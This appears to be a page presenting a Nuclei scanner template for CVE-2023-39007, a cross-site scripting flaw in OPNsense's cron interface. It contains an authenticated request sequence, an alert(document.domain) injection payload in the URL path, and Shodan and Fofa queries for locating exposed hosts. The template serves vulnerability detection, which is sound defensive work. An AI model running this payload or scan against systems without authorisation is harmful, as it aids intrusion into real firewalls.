OPNsense - Cross-Site Scripting to RCE

ID: CVE-2023-39007

Severity: critical

Author: ritikchaddha

Tags: cve2023,cve,opnsense,xss,authenticated,rce

Description

There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.

YAML Source

id: CVE-2023-39007

info:
  name: OPNsense - Cross-Site Scripting to RCE
  author: ritikchaddha
  severity: critical
  description: |
    There is a XSS in /ui/cron/item/open in the Cron component of OPNsense Community Edition before 23.7 and Business Edition before 23.4.2 via openAction in app/controllers/OPNsense/Cron/ItemController.php.
  reference:
    - https://logicaltrust.net/blog/2023/08/opnsense.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39007
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
    cvss-score: 9.6
    cve-id: CVE-2023-39007
    cwe-id: CWE-79
    cpe: cpe:2.3:a:opnsense:opnsense:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: opnsense
    product: opnsense
    shodan-query:
      - title:"OPNsense"
      - http.title:"opnsense"
    fofa-query: title="opnsense"
    google-query: intitle:"opnsense"
  tags: cve2023,cve,opnsense,xss,authenticated,rce

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{para}}={{value}}&usernamefld={{username}}&passwordfld={{password}}&login=1

      - |
        GET /ui/cron/item/open/0'+alert(document.domain)+' HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "openDialog('0'+alert(document.domain)+''"

      - type: word
        part: header_3
        words:
          - "text/html"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: para
        part: body
        group: 1
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true

      - type: regex
        name: value
        part: body
        group: 2
        regex:
          - 'type="hidden" name="([a-zA-Z0-9]+)" value="([A-Z0-9a-z]+)" autocomplete="'
        internal: true
# digest: 4a0a0047304502210095f9a928f7c4e718295e91594ca02b7d0d7a802dc3a12596c17c31a4641bac360220294dce6193711408f44cb8d2b68278b0de57d099bfec2b5164eea2956efd6a78:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-39007.yaml"

View on Github